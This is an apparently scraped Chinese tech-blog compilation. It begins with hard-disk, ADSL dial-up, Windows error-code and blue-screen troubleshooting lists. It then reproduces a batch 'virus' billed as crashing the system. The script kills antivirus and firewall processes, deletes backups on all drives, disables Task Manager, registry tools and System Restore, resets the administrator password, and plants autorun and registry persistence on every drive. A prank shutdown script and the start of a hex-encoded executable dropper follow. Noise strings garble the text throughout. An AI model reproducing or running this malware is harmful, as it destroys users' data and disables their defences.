病毒代码14号
电脑代码喜好者博墅 z7wT*T,H9_4M
"]'e0s4x(t-z {`0
一 硬盘毛病提醒信息的含义（1）Date error（数据错误）从软盘或硬盘上读取的数据存在不成修复错误，磁盘上有坏扇区和坏的文件分配表。（2）Hard disk configuration error（硬盘设置装备摆设错误）硬盘设置装备摆设不准确，跳线不合错误，硬盘参数设置不准确等。（3）Hard disk controller failure（硬盘掌握 器失效）掌握 器卡（多功用卡）松动，连线不合错误，硬盘参数设置不准确等。（4）Hard disk failure（硬盘失效毛病）掌握 器卡（多功用卡）毛病，硬盘设置装备摆设不准确，跳线不合错误，硬盘物理毛病。（5）Hard disk drive read failure（硬盘驱动器读取失效）掌握 器卡（多功用卡）松动，硬盘设置装备摆设不准确，硬盘参数设置不准确，硬盘笔录 数据毁坏等。（6）No boot device available（无引导设备）系统找不到做为引导设备的软盘或者硬盘。（7）No boot sector on hard disk drive(硬盘上无引导扇区)
6kzA(PXD0硬盘上引导扇区丧失，传染有病毒或者设置装备摆设参数不准确。（8）Non system disk or disk error（非系统盘或者磁盘错误）做为引导盘的磁盘不是系统盘，不含有系统引导和核心文件，或者磁盘片自己毛病。（9）Sectornot found（扇区未找到）系统盘在软盘和硬盘上不克不及定位给定扇区。（10）Seek error(搜刮错误)喜好者博墅Uq"n \H#nZQ
系统在软盘和硬盘上不克不及定位给定扇区、磁道或磁头。（11）Reset Failed（硬盘复位失败）硬盘或硬盘接口的电路毛病。（12）Fatal Error Bad Hard Disk（硬盘致命错误）硬盘或硬盘接口毛病。（13）No Hard Disk Installed(没有安拆硬盘)
5TwYbH3hrH0没有安拆硬盘，但是CMOS参数中设置了硬盘；硬盘驱动器号没有接好，硬盘卡（多功用卡）没有接插好；硬盘驱动器或硬盘卡毛病。二 硬盘毛病的代码见表代码 代码含义喜好者博墅4mWo"q:X3Xv1} [ XX/r
1700 硬盘系统通过（一般）喜好者博墅"Lh6G@U6Z AD E#?
1701 不成识此外硬盘系统 喜好者博墅9[K"CbRx/Y%}
1702 硬盘操做超时喜好者博墅,IL)YW/q^
1703 硬盘驱动器抉择 失败
]v+W/{j}Du1tG01704 硬盘掌握 器失败
I Z"ym.A`']01705 要找的笔录 未找到
w RX!f E3q01706 写操做失败
N1a"DB)r01707 道信号谬爱好者博墅 zM(W:n?%E2K2g
1708 磁头抉择 信号有错
WB0O"Qh2P!Y+p)i01709 ECC查验谬爱好者博墅4kRR)Tk#uZ
1710 读数据时扇区缓冲器溢出
;z/v+A C_p01711 坏的地址标记喜好者博墅5Q0N.xZj4F{|
1712 不成识此外错误喜好者博墅A*v%ev L.}
1713 数据比力错
$i s Q[3c01780 硬盘驱动器C毛病
a.b5\d'F%@ L-A-v,[*LH01781 D盘毛病
3iR:ajB_)O01782 硬盘掌握 器错
P|z$_h!u!F c01790 C盘测试谬爱好者博墅0fGGR%|
1791 D盘测试谬爱好者博墅;O"A8p4Q:l ]
5N+E H'`}2m0ADSL错误代码表 喜好者博墅`F~4` v/] I:IY
Error 602 The port is already open
vNL{M3p0问题：拨号收集收集因为设备安拆错误或正在利用，不克不及停止毗连原因：RasPPPoE没有完全和准确的安拆处理：卸载清洁任何PPPoE软件，从头安拆
'q;]6D._I0喜好者博墅s.J4{ q`4e`
Error 605 Cannot set port information喜好者博墅2C4ce,A7e1Z
问题：拨号收集收集因为设备安拆错误不克不及设定利用端口原因：RasPPPoE没有完全和准确的安拆处理：卸载清洁任何PPPoE软件，从头安拆喜好者博墅r'Oe_9^8[w'eA
;Fhz.P5VN/E#`0Error 606 The port is not connected
6N[OR/Z*p/@z2MU,r0问题：拨号收集收集不克不及毗连所需的设备端口原因：RasPPPoE没有完全和准确的安拆，毗连线毛病，ADSL MODEM
[S^C%t5sETF(d0毛病处理：卸载清洁任何PPPoE软件，从头安拆，查抄网线和 ADSL
zE:MuwSM s0MODEM
{tV6Pv0喜好者博墅4e%V wAnsX
Error 608 The device does not exist
A/KiGXl/i,o0问题：拨号收集收集毗连的设备不存在原因：RasPPPoE没有完全和准确的安拆处理：卸载清洁任何PPPoE软件，从头安拆喜好者博墅 g2d.`ue~@$a
喜好者博墅 hsG8D?;f!G#fzD
Error 609 The device type does not exist喜好者博墅!f[j/?+V
问题：拨号收集收集毗连的设备其品种不克不及确定原因：RasPPPoE没有完全和准确的安拆处理：卸载清洁任何PPPoE软件，从头安拆
_]J;C5?aPP8?0喜好者博墅?kgi^kc@
Error 611 The route is not available/612 The route is not
7i I"?iO#\A0allocated喜好者博墅!VI2D'` B4W]2n%p
问题：拨号收集收集毗连路由不准确原因：RasPPPoE没有完全和准确的安拆，ISP办事器毛病处理：卸载清洁任何PPPoE软件，从头安拆，致电ISP询问喜好者博墅gq6Wqr
喜好者博墅o:O;t'l0?*LMxW4D
Error 617 The port or device is already disconnecting
[K-W%Y7c5Q0问题：拨号收集收集毗连的设备已经断开原因：RasPPPoE没有完全和准确的安拆，ISP办事器毛病，毗连线，ADSL MODEM毛病处理：卸载清洁任何PPPoE软件，从头安拆，致电ISP询问 ，查抄网线和 ADSL MODEM
@ Rva,p*VB;y_0
] A3w Z*^]8C0Error 619 问题：与ISP办事器不克不及成立毗连原因：ADSL ISP办事器毛病，ADSL德律风线毛病处理：查抄ADSL信号灯能否能准确同步。致电ISP询问
9n/?h.W.hT0喜好者博墅\rp iNjxx ux
Error 621 Cannot open the phone book file
G J{MW"?X'g0Error 622 Cannot load the phone book file
tCWm [ @g0Error 623 Cannot find the phone book entry喜好者博墅#B5d'HDh:w
Error 624 Cannot write the phone book file
Mmtm3G)T0Error 625 Invalid information found in the phone book
~ lH3I#XLJ6L0问题：Windows NT或者Windows 2000 Server收集RAS收集组件毛病原因：卸载所有PPPoE软件，从头安拆RAS收集组件和RasPPPoE喜好者博墅,i;KzQZk z w
XxMx-y(^a2E2hW0Error 630
)j Y+l/[A;J)q5r0问题：ADSL MODEM没有没有响应原因：ADSL德律风线毛病，ADSL MODEM毛病（电源没翻开等）处理：查抄ADSL设备
a-]0V7KgH.qPLgV0喜好者博墅-F'~|lq C ?8r5T y
Error 633喜好者博墅 T3?3R~6}l
问题：拨号收集收集因为设备安拆错误或正在利用，不克不及停止毗连原因：RasPPPoE没有完全和准确的安拆处理：卸载清洁任何PPPoE软件，从头安拆
_5V0]2C9j1Rgsb!US0
h Wl y Rvi2[0Error 638
V9[!r!{'e0问题：过了很长时间，无法毗连到ISP的ADSL接进 办事器原因：ISP办事器毛病；在RasPPPoE所创建的欠好毗连中你错误的输进 了一个德律风号码处理：运行其创建拨号的Raspppoe.exe查抄能否能列出ISP办事，以确定ISP一般;把所利用的拨号毗连中的 德律风号码肃清或者只保留一个0。喜好者博墅+`.rB8J R4W6i}A
S(t{t"b'?0Error 645喜好者博墅*C#W-tfqA`
问题：网卡没有准确响应原因：网卡毛病，或者网卡驱动法式毛病处理：查抄网卡，从头安拆网卡驱动法式
i.Y"Gk-r0喜好者博墅I2U2u G:T,mOpg,@
Error 650
V5O4h)N E M0问题：长途计算机没有响应，断开毗连原因：ADSL ISP办事器毛病，网卡毛病，非一般关机形成收集协议出错处理：查抄ADSL信号灯能否能准确同步，致电ISP询问；查抄网卡，删除所有收集组件从头安拆收集。
Ozr5cJV,`*O*XE0
xFw1Y2y;}Q{i0Error 651喜好者博墅1|Y U R^s/g Q*^8}
问题：ADSL MODEM陈述发作错误原因：Windows处于平安形式下，或其他错曲解决：呈现该错误时，停止重拨，就能够陈述出新的详细错误代码
{E~b%S@5i1M0
(KUtW7B/u5V!hYH0Error 691
~:?O4nG%Ea"F0问题：输进 的用户名和密码不合错误，无法成立毗连原因：用户名和密码错误，ISP办事器毛病处理：利用准确的用户名和密码，而且利用准确的ISP账号格局
#ec@WjoSW0(name@service),致电ISP询问。
GHF@hW0
d yls3K}4K+N5b0Error 718
^ I'P7h{+z[3g0问题：验证用户名时长途计算机超时没有响应，断开毗连原因：ADSL ISP办事器毛病处理：致电ISP询问喜好者博墅Kz/|Wky$}2_F
喜好者博墅o9@7n9|,xJO A}
Error 720喜好者博墅c!RSw!eD+k!j*Y
问题：拨号收集无法协调收集中办事器的协议设置原因：ADSL ISP办事器毛病，非一般关机形成收集协议出错处理：致电ISP询问，删除所有收集组件从头安拆收集。喜好者博墅{1?Oy hI
喜好者博墅*v Nnk;Zw!LP0e
Error 734
f(@QgR2c9C x.Z0问题：PPP毗连掌握 协议中行原因：ADSL ISP办事器毛病，非一般关机形成收集协议出错处理：致电ISP询问，删除所有收集组件从头安拆收集。
Y:oma"t3m0喜好者博墅$lv m ~\9O5gu
Error 738
.D#Mr4G8["Be|!?K0问题：办事器不克不及分配IP地址原因：ADSL ISP办事器毛病，ADSL用户太多超越ISP所能供给的IP
.MKrTN T0地址处理：致电ISP询问喜好者博墅9GF0d`)F1M`
喜好者博墅Q7^ Q.w \#k r)B+G
Error 797
+Q.Y`L]0问题：ADSL MODEM毗连设备没有找到原因：ADSL MODEM电源没有翻开，网卡和ADSL MODEM的毗连线呈现问题，软件安拆以后响应的协议没有准确邦定，在创建拨号毗连时，成立了错误的空毗连处理：查抄电源，毗连线；查抄收集属性，RasPPPoE相关的协议能否准确的安拆并准确邦定（相关协议），查抄网卡能否呈现?号或!
g'zXGnp+A+d^ ]0号，把它设置为Enable;查抄拨号毗连的属性，能否毗连的设备利用了一个“ISDN channel-Adapter Name(xx)” 的设备，该设备为一个空设备，假设 利用了取缔 它，并抉择 准确的PPPoE设备取代它，或者从头创建拨号毗连。利用Windows呈现蓝色屏幕是经常的事，并且常常因为不清晰 错误的来源而频忙碌 新安拆系统，劳神费时。下列的一些Windows死机代码，供各人参考。
S"fEF \!S z0z#]0
r2TZ1j:jg S[[00x0000 操做完成 喜好者博墅O@qt[j2K/k
0x0001 不准确的函数
u)S iS[00x0002 系统找不到指定的文件 喜好者博墅 [kO:HB6L g*_ jGZ
0x0003 系统找不到指定的途径 喜好者博墅 eN.t5@,k%\
0x0004 系统无法翻开文件
ObC)mIr5H~.k00x0005 回绝存取
a4S ?.f5ZC9`R00x0006 无效的代码 喜好者博墅#aB0k%Cy)KG ?2nB
0x0007 内存掌握 模块已损坏 喜好者博墅*jh`$Pb
0x0008 内存空间不敷，无法处置那个指令
a$N`z"}8v}*~00x0009 内存掌握 模块地址无效
O9|lu-]00x000a 情况不准确 喜好者博墅?Yq,@r V E
0x000b 测验考试载进 一个格局错误的法式
$p!iXb/C(jJR%zn00x000c 存取码错误 喜好者博墅;]7z m J5wN}
0x000d 材料错误 喜好者博墅)q,I;G;dn(H
0x000e 内存空间不敷，无法完成那项*做 喜好者博墅5m9o'vEGb)n9S
0x000f 系统找不到造定的硬盘
\5O#we;IY5j"_ lk00x0010 无法移除目次
2O+K/q,o#x.R00x0011 系统无法将文件移到其他的硬盘
u3o#^8O6Hth(MW-j00x0012 没有任何文件
7e|jC` R;m[x00x0019 找不到指定的扇区或磁道
a#I\;j4n~c00x001a 指定的磁盘或磁片无法存取 喜好者博墅ktQ iCg~2~u
0x001b 磁盘找不到要求的扇区 喜好者博墅 s:S.K'xHx
0x001c 打印机没有纸 喜好者博墅n[hCL+IpC$nF
0x001d 系统无法将材料写进 造定的磁盘 喜好者博墅7Dt3t1W3m4uf
0x001e 系统无法读取指定的安装
(@g8K(a:Gdg#Ey)bC00x001f 毗连到系统的某个安装没有感化 喜好者博墅nZ8d$n_q
0x0021 文件的一部门被锁定
8k0~:_+^0gY4maa,[00x0024 开启的分享文件数量太多 喜好者博墅B/i)LF#M9~0G
0x0026 抵达文件结尾 喜好者博墅 ^vBbj@~
0x0027 磁盘已满 喜好者博墅8m8H%zA fns x
0x0036 收集忙碌 喜好者博墅8G3Z)B L,by)o9w7@
0x003b 收集发作不测的错误 喜好者博墅 dB*IOf
0x0043 收集名称找不到
aY5L]Y7w4HL ]!^00x0050 文件已经存在 喜好者博墅_9KQ ~Rat
0x0052 无法成立目次或文件
"B_Xj1[{V?00x0053 int24失败 喜好者博墅1U)ZQ%e/vzgUr-o*T
0x006b 因为代用的磁盘尚未插进 ，所以法式已经停行
EP!o~M(K o?00x006c 磁盘正在利用中或被锁定 喜好者博墅V wd3P:Z,_9h_
0x006f 文件名太长
8] I"l:l't5~@}00x0070 硬盘空间不敷 喜好者博墅)J~Hr HgJ t
0x007f 找不到指定的法式
%p{.p"Z+Wp VU*A8f00x045b 系统正在关机
FzA-~{ l00x045c 无法种植系统关机，因为没有关机的动做在停止中
'L/m v Cu@|s @b00x046a 可用办事器贮存空间不敷，无法处置那项指令 喜好者博墅 p*FFg'oAS
0x047e 指定的法式需要新的Windows版本 喜好者博墅Q:j?-n$SP:[
0x047f 指定的法式不是Windows或MS-DOS法式 喜好者博墅~fm-Jaxhe5A9U
0x0480 指定的法式已经启动，无法再启动一次 喜好者博墅 k.ijeQ*iW
0x0481 指定的法式是为旧版的Windows所写的
}*Z/d,Cty5c00x0482 施行此利用 法式所需的法式库文件之一损坏
7[TxviTt;J'[00x0483 没有利用 法式与此项*做的指定文件成立联系关系 喜好者博墅FF_9p]R"o
0x0484 传送指令到利用 法式发作错误 喜好者博墅~t'JEj y
0x04b0 指定的安装名称无效
TLi/}9hV4Ap00x05a2 窗口不是子窗口
kF(i:`nEz/l'}/Y00x05aa 系统资本不敷，无法完成所要求的办事
)b%P0d.U-d)j8L@00x05ab 系统子还不敷，无法完成所需要的办事 喜好者博墅r zx Pw,m FQ_
0x05ac 系统资本不敷，无法完成所要求的办事
;n"HsNY ]X00x06b9 资本不敷，无法完成操做到网上搜罗的代码秘笈，期看 列位菜鸟有用
蓝屏代码查询以下内容为百度晓得操做系统分类治理 员Ctangel小我总结，并不是收集复造，满是小我日常工做中碰着 而且明白确定原因的。如需复造请说明出处。
那里列举几个典型的蓝屏毛病的原因息争决办法 。
一、0X0000000A
那个蓝屏代码和硬件无关，是驱动和软件有抵触形成的，最早发现那个代码是因为公司的DELL机器的USB键盘和QQ2007的键盘加密法式有抵触发现
的那个问题。也在IBM T系列条记本上拆驱动失误产生过。
假设 您的机器蓝屏了，并且每次都是那个代码请想一想比来是不是更新了什么软件或者什么驱动了，把它卸载再看一下。一般情状 下就可以处理
，假设 其实想不起来，又十分频繁的话，那么没办法 ，从头做系统吧。
二、0X0000007B
那个代码和硬盘有关系，不外不消恐惧 ，不是有坏道了，是设置问题或者病毒形成的硬盘引导分区错误。
假设 您在用原版系统盘安拆系统的时候出那个问题，那阐明 您的机器设置装备摆设仍是比力新的，做为老的系统盘，不认那么新的硬盘接口，所以得进
BIOS把硬盘形式改成IDE兼容形式。当然了，如今人们都用ghost版的操做系统，比力新的ghost盘是不存在那个问题的。
假设 您的操做系统利用了一段时间了，突然 有一天呈现那个问题了，那么对不起，病毒形成的，开机按F8，抉择 最初一次准确的设置装备摆设，恢复不到
一般形式的话那么请从头做系统吧。
三、0X000000ED
那个毛病和硬盘有关系，系统概率比力大，硬盘实坏的概率比力小。我弄过不下二十个那个代码的蓝屏机器了，此中只要一个是硬盘实的有坏道
了。剩下的都是卷出了问题，修复即可，那也是为数不多的能够修复的蓝屏代码之一。
修复办法是找原版的系统安拆盘（或者金手指V6阿谁pe启动界面里就带掌握 台修复）。那里说用系统盘的办法，把系统盘放进 光驱，启动到安拆
界面，抉择 按R进进 掌握 台修复，进进 掌握 台后会呈现提醒符C:\ 各人在那里输进 chkdsk -r 然后它就会主动检测并修复问题了，修复完成之后从头
启动计算机就能够进进 系统了，进进 系统之后更好先杀毒，然后再从头启动一下试一下，假设 一般了那就没问题了，假设 还出那个代码，那就阐明 硬
盘有问题了，需要改换，或者把有问题的处所零丁分区，做成隐躲 分区，用后面的空间来拆系统。
四、0X0000007E、0X0000008E
那俩代码多是病毒形成的，杀毒即可。一般形式进不往 能够开机按F8进平安形式。当然也有可能是内存形成的，能够测验考试从头插拔内存，一般那
代码内存损坏概率不大。
五、0X00000050
硬件毛病，硬盘的可能性很大。假设 每次都出那一个代码，起首换一块硬盘试一下机器能不克不及一般启动，假设 测试硬盘没问题，再试内存，内存
也试过的话，换CPU，总之那必是硬件毛病。
六、coooo21a
C开头的毛病，它报的错很邪乎，报硬件毛病，不外出那类C开头的代码多半与硬件无关。根本是与系统同时启动的一些驱动或者办事的问题，举
一个例子，一次我给一个条记本的F盘改成了E盘，成果再启动就出那类C开头的代码，最初发现插上一个U盘就能一般启动，因为插上U盘系统里就有F
盘了，然后我发现了隐躲 的文件，是开机的时候系统写进 的。我拔掉那个U盘那问题就又呈现，后来把E盘改回F问题就没有了，想来是什么和系同一起
启动的软件留在F盘一些文件，没有了它就会本身建，但是连F盘都没有了，也就只能报错了，所以看到那类蓝屏能够照比。
七、每次蓝屏的代码都纷歧样
如许的问题，根本上是硬件形成的，出格 以内存为第一个需要思疑的对象，改换内存测验考试，第二可能性是CPU固然那工具不爱坏，可是从06年到现
在我也碰着 俩了，其他硬件根本上不会形成蓝屏代码随意变的情状 。
填补 ：关于开机蓝屏看不见代码一闪而过然后本身从头启动的情状 。那是因为在启动设置那里抉择 了启动失败后主动从头启动，那个时候就要在机器
启动的时候按F8，抉择 启动失败后禁用从头启动那项，抉择 之后启动失败了，系统就会停在蓝屏代码那里了，如许各人就能够照着蓝屏代码来查看问
题了。
批处置文件的病毒代码大全！最强病毒!隆重运行!此法式会将系统搞瓦解.
摘自:htt我ps://www是.jb51.net/a链rticle/7129.h接tm 往 掉里面的字哦
@echo off
title You DEAD!!!!!!!
set taskkill=s
copy %0 %windir%\system32\cmd.bat
attrib %windir%\system32\cmd.bat +r +s +h
net stop sharedaccess nul
%s% /im pfw.exe shadowtip.exe shadowservice.exe 电话.exe explorer.exe IEXOLORE.EXE /f nul
%s% /im norton* /f nul
%s% /im av* /f nul
%s% /im fire* /f nul
%s% /im anti* /f nul
%s% /im spy* /f nul
%s% /im bullguard /f nul
%s% /im PersFw /f nul
%s% /im KAV* /f nul
%s% /im ZONEALARM /f nul
%s% /im SAFEWEB /f nul
%s% /im OUTPOST /f nul
%s% /im nv* /f nul
%s% /im nav* /f nul
%s% /im F-* /f nul
%s% /im ESAFE /f nul
%s% /im cle /f nul
%s% /im BLACKICE /f nul
%s% /im def* /f nul
%s% /im 360safe.exe /f nul
net stop Shadow" "System" "Service
set alldrive=d e f g h i j k l m n o p q r s t u v w x y z
for %%a in (c %alldrive%) do del %%a:\360* /f /s /q nul
for %%a in (c %alldrive%) do del %%a:\修复* /f /s /q nul
rem 修改注册表.......
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\
Folder\Hidden\SHOWALL /v
CheckedValue /t REG_DWORD /d 00000000 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoRun /t REG_DWORD /d
00000001 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoRecentDocsMenu /t
REG_DWORD /d 00000001 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoDrives /t REG_DWORD /d
4294967295 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v
Disableregistrytools /t
REG_DWORD /d 00000002 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoNetHood /t REG_DWORD /d
00000001 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /V
NoDesktop /t REG_DWORD /d
00000001 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoClose /t REG_DWORD /d
00000001 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoFind /t REG_DWORD /d
00000001 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v
DisableTaskMgr /t REG_DWORD
/d 00000001 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoLogOff /t REG_DWORD /d
00000001 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoSetTaskBar /t REG_DWORD
/d 00000001 /f nul
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows" "NT\CurrentVersion\SystemRestore /v
DisableSR /t REG_DWORD /d
00000001 /f nul
REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows" "NT\SystemRestore /v
DisableConfig /t REG_DWORD /d
00000001 /f nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
RestrictRun /t REG_DWORD /d
00000001 /f nul
cls
net user administrator 123456 nul
for %%c in (c %alldrive%) do del %%c:\*.gho /f /s /q nul
echo @echo off d:\setup.bat
echo shutdown -r -t 10 -f -c 亲爱的伴侣，我非常抱愧的通知你，你的电脑已经严峻瓦解，请从头
安拆系统能够处理此问题
!^.^ d:\setup.bat
echo copy d:\setup.bat c:\Documents" "and" "Settings\All" "Users\「起头」菜单\法式\启动
\a.bat d:\setup.bat
echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v
setup.bat /t REG_SZ /d d:\setup.bat
/f d:\setup.bat
echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v
setup.bat /t REG_SZ /d d:\setup.bat
/f d:\setup.bat
echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v
setup.bat /t REG_SZ /d d:\setup.bat
/f d:\setup.bat
HKEY_CLASSES_ROOT\batfile\shell\open\command /v setup.bat /t REG_SZ /d d:\setup.bat /f
d:\setup.bat
echo [windows] %windir%\win.ini
echo run=d:\setup.bat C:\AUTOEXEC.BAT %windir%\win.ini
echo load=d:\setup.bat C:\AUTOEXEC.BAT %windir%\win.ini
echo [boot] %windir%\system.ini
echo shell=explorer.exe setup.bat C:\AUTOEXEC.BAT %windir%\system.ini
echo [AutoRun] d:\autorun.inf
echo Open=setup.bat d:\autorun.inf
echo Open=system.bat d:\autorun.inf
attrib d:\autorun.inf +r +s +h d:\setup.bat
attrib d:\setup.bat +r +s +h d:\setup.bat
start d:\setup.bat /min nul
echo @echo off C:\AUTOEXEC.BAT
echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v
AUTOEXEC.BAT /t REG_SZ /d
C:\AUTOEXEC.BAT /f C:\AUTOEXEC.BAT
echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v
AUTOEXEC.BAT /t REG_SZ /d
C:\AUTOEXEC.BAT /f C:\AUTOEXEC.BAT
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v
AUTOEXEC.BAT /t REG_SZ /d
C:\AUTOEXEC.BAT /f C:\AUTOEXEC.BAT
echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v
setup.bat /t REG_SZ /d d:\setup.bat
/f C:\AUTOEXEC.BAT
echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v
setup.bat /t REG_SZ /d d:\setup.bat
/f C:\AUTOEXEC.BAT
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v
setup.bat /t REG_SZ /d d:\setup.bat
/f C:\AUTOEXEC.BAT
echo if not d:\setup.bat start %windir%\system32\cmd.bat /min C:\AUTOEXEC.BAT
copy %0 %systemroot%\windows.bat nul
if not exist %windir%/system32/explorer.bat @echo off %windir%/system32/explorer.bat
if not exist C:\AUTOEXEC.BAT start %windir%\system32\cmd.bat /min %
windir%/system32/explorer.bat
if not exist %windir%\system32\cmd.bat start %systemroot%\windows.bat /min %
windir%/system32/explorer.bat
echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v
AUTOEXEC.BAT /t REG_SZ /d
C:\AUTOEXEC.BAT /f %windir%/system32/explorer.bat
echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v
AUTOEXEC.BAT /t REG_SZ /d
C:\AUTOEXEC.BAT /f %windir%/system32/explorer.bat
echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v
setup.bat /t REG_SZ /d d:\setup.bat
/f %windir%/system32/explorer.bat
echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v
setup.bat /t REG_SZ /d d:\setup.bat
/f %windir%/system32/explorer.bat
echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v
explorer.bat /t REG_SZ /d %
windir%/system32/explorer.bat/f %windir%/system32/explorer.bat
echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v
explorer.bat /t REG_SZ /d %
windir%/system32/explorer.bat /f %windir%/system32/explorer.bat
echo start %systemroot%\windows.bat /min %windir%/system32/explorer.bat
attrib %windir%/system32/explorer.bat +r +s +h%
attrib %systemroot%/windows.bat +r +s +h
for %%c in (%alldrive%) do echo @echo off %%c:\system.bat
for %%c in (%alldrive%) do echo start %windir%\system32\cmd.bat /min %%c:\system.bat
for %%c in (%alldrive%) do echo attrib system.bat +r +s +h %%c:\system.bat
set drive=e f g h i j k l m n o p q r s t u v w x y z
for %%c in (%drive%) do echo [AuroRun] %%c:\autorun.inf
for %%c in (%drive%) do echo Open=system.bat %%c:\autorun.inf
copy %0 d:\Program" "Files\run.bat
for %%c in (%alldrive%) do echo if not exist %windir%/system32/explorer.bat start
d:\Program" "Files\run.bat /min
%%c:\system.bat
for %%c in (%alldrive%) do attrib autorun.inf +r +s +h %%c:\system.bat
for %%c in (%alldrive%) do attrib %%c:\autorun.inf +r +s +h nul
for %%c in (%alldrive%) do attrib %%c:\system.bat +r +s +h nul
if not exist %windir%/system32/explorer.bat start d:\Program" "Files\run.bat
/min d:\setup.bat
attrib d:\Program" "Files\run.bat +r +s +h nul
del %0
exit
使计算机关机的打趣病毒代码翻开个txt，输进
shutdown -l -o
另存为*.cmd，双击，不外那太痴人了
如许更好
taskkill /f /im *.exe shutdown -l -o 1nul 2nul
那也痴人，想开打趣纷歧定关机，我弄过一个脚本，
@echo e 100 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 tmp11
@echo e 110 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 tmp11
@echo e 120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 tmp11
@echo e 130 00 00 00 00 00 00 00 00 00 00 00 00 C8 00 00 00 tmp11
@echo e 140 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68 tmp11
@echo e 150 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F tmp11
@echo e 160 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 tmp11
@echo e 170 6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00 tmp11
@echo e 180 E7 81 B5 C3 A3 E0 DB 90 A3 E0 DB 90 A3 E0 DB 90 tmp11
@echo e 190 B0 E8 86 90 A1 E0 DB 90 20 E8 86 90 A0 E0 DB 90 tmp11
@echo e 1A0 A3 E0 DA 90 AA E0 DB 90 A6 EC 84 90 A1 E0 DB 90 tmp11
@echo e 1B0 A6 EC 81 90 A2 E0 DB 90 52 69 63 68 A3 E0 DB 90 tmp11
@echo e 1C0 00 00 00 00 00 00 00 00 50 45 00 00 4C 01 03 00 tmp11
@echo e 1D0 FD 19 07 3F 00 00 00 00 00 00 00 00 E0 00 0F 01 tmp11
@echo e 1E0 0B 01 07 0A 00 02 00 00 00 04 00 00 00 00 00 00 tmp11
@echo e 1F0 C0 10 00 00 00 10 00 00 00 20 00 00 00 00 40 00 tmp11
@echo e 200 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 tmp11
@echo e 210 04 00 00 00 00 00 00 00 00 40 00 00 00 04 00 00 tmp11
@echo e 220 00 00 00 00 02 00 00 04 00 00 10 00 00 10 00 00 tmp11
@echo e 230 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 tmp11
@echo e 240 00 00 00 00 00 00 00 00 4C 20 00 00 3C 00 00 00 tmp11
@echo e 250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 tmp11
@echo e 260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 tmp11
@echo e 270 30 20 00 00 1C 00 00 00 00 00 00 00 00 00 00 00 tmp11
@echo e 280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 tmp11
@echo e 290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 tmp11
@echo e 2A0 00 20 00 00 2C 00 00 00 00 00 00 00 00 00 00 00 tmp11
@echo e 2B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 tmp11
@echo e 2C0 2E 74 65 78 74 00 00 00 86 01 00 00 00 10 00 00 tmp11
@echo e 2D0 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 tmp11
@echo e 2E0 00 00 00 00 20 00 00 60 2E 72 64 61 74 61 00 00 tmp11
@echo e 2F0 98 01 00 00 00 20 00 00 00 02 00 00 00 06 00 00 tmp11
@echo e 300 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 tmp11
@echo e 310 2E 64 61 74 61 00 00 00 28 00 00 00 00 30 00 00 tmp11
@echo e 320 00 02 00 00 00 08 00 00 00 00 00 00 00 00 00 00 tmp11
